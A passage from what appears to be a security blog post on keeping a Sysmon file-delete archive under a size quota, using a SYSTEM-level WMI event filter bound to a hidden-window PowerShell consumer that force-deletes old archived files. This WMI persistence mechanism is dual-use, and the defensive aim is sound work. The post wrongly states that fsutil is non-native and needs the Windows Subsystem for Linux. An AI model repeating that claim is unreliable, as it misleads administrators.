Hardlink created for C:\Users\Public\NVISO.exe <<===>> C:\Users\NVISO\Downloads\NVISO.exe

:: Delete one of the hard links causing Sysmon to archive the file.
C:\>del C:\Users\NVISO\Downloads\NVISO.exe

:: The archived file now has two paths, one of which within the Sysmon archive.
C:\>fsutil hardlink list Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
\Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
\Users\Public\NVISO.exe

The presence of hard links within the Sysmon archive can cause an edge-case should the non-archive path be locked by another process while we attempt to clean the archive. Should for example a process be created from the non-archive path, removing the archived file will become slightly harder.

:: If the other path is locked by a process, deleting it will result in a denied access.
C:\>del Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
C:\Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
Access is denied.

Removing hard links is not straight-forward and commonly relies on non-native software such as fsutil (itself requiring the Windows Subsystem for Linux). However, as the archive’s hard link does technically not consume additional storage (the same content is referenced from another path), such files could be ignored given they do not partake in the storage exhaustion. Once the non-archive hard links referencing a Sysmon-archived file are removed, the archived file is not considered a hard link anymore and will be removable again.

To cope with the above edge-case, hard links can be filtered-out and removal operations can be encapsulated in try/catch expressions should other edge-cases exists. Overall, the WMI logical consumer’s logic could look as follow:

$Archived = Get-ChildItem -Path 'C:\\Sysmon\\' -File | Where-Object {$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc
$Size = ($Archived | Measure-Object -Sum -Property Length).Sum
for($Index = 0; ($Index -lt $Archived.Count) -and ($Size -gt 5GB); $Index++)
{
	try
	{
		$Archived[$Index] | Remove-Item -Force -ErrorAction Stop
		$Size -= $Archived[$Index].Length
	} catch {}
}

As we did for the event filter, a WMI consumer can be created through the New-CimInstance cmdlet. The following snippet specifically creates a new CommandLineEventConsumer invoking our above clean-up logic to create a 10GB quota.

$Archive = "C:\\Sysmon\\"
$Limit = 10GB
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{
    Name = 'SysmonArchiveCleaner';
    ExecutablePath = $((Get-Command PowerShell).Source);
    CommandLineTemplate = "-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command `"`$Archived = Get-ChildItem -Path '$Archive' -File | Where-Object {`$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc; `$Size = (`$Archived | Measure-Object -Sum -Property Length).Sum; for(`$Index = 0; (`$Index -lt `$Archived.Count) -and (`$Size -gt $Limit); `$Index++){ try {`$Archived[`$Index] | Remove-Item -Force -ErrorAction Stop; `$Size -= `$Archived[`$Index].Length} catch {}}`""
}

WMI Binding

In the above two sections we defined the event filter and logical consumer. One last point worth noting is that event filters need to be bound to an event consumers in order to become operational. This is done through a __FilterToConsumerBinding instance as shown below.

New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
    Filter = [Ref]$Filter;
    Consumer = [Ref]$Consumer;
}

Proof of Concept

The following proof-of-concept deployment technique has been tested in limited environments. As should be the case with anything you introduce into your environment, make sure rigorous testing is done and don’t just deploy straight to production.

The following PowerShell script creates a WMI event filter and logical consumer with the logic we defined previously before binding them. The script can be configured using the following variables:

  • $Archive as the Sysmon archive path. To be WQL-compliant, special characters have to be back-slash (\) escaped, resulting in double back-slashed directory separators (\\).
  • $Limit as the Sysmon archive’s desired maximum folder size (see real literals).
  • $Delay as the event filter’s maximum WQL delay value in seconds (WITHIN clause).

Do note that Windows security boundaries apply to WMI as well and, given the Sysmon archive directory is restricted to the SYSTEM user, the following script should be ran using the SYSTEM privileges.

$ErrorActionPreference = "Stop"

# Define the Sysmon archive path, desired quota and query delay.
$Archive = "C:\\Sysmon\\"
$Limit = 10GB
$Delay = 10

# Create a WMI filter for files being created within the Sysmon archive.
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{
    Name = 'SysmonArchiveWatcher';
    EventNameSpace = 'root\cimv2';
    QueryLanguage = "WQL";
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN $Delay WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Drive='$(Split-Path -Path $Archive -Qualifier)' AND TargetInstance.Path='$(Split-Path -Path $Archive -NoQualifier)' GROUP WITHIN $Delay"
}

# Create a WMI consumer which will clean up the Sysmon archive folder until the quota is reached.
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{
    Name = 'SysmonArchiveCleaner';
    ExecutablePath = (Get-Command PowerShell).Source;
    CommandLineTemplate = "-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command `"`$Archived = Get-ChildItem -Path '$Archive' -File | Where-Object {`$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc; `$Size = (`$Archived | Measure-Object -Sum -Property Length).Sum; for(`$Index = 0; (`$Index -lt `$Archived.Count) -and (`$Size -gt $Limit); `$Index++){ try {`$Archived[`$Index] | Remove-Item -Force -ErrorAction Stop; `$Size -= `$Archived[`$Index].Length} catch {}}`""
}

# Create a WMI binding from the filter to the consumer.
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
    Filter = [Ref]$Filter;
    Consumer = [Ref]$Consumer;
}

Once the WMI event consumption configured, the Sysmon archive folder will be kept at reasonable size as shown in the following capture where a 90KB quota has been defined.

Figure 2: A Sysmon archive quota of 90KB removing old files.

With Sysmon archiving under control, we can now happily wait for new attacker tool-kits to be dropped…

❌
❌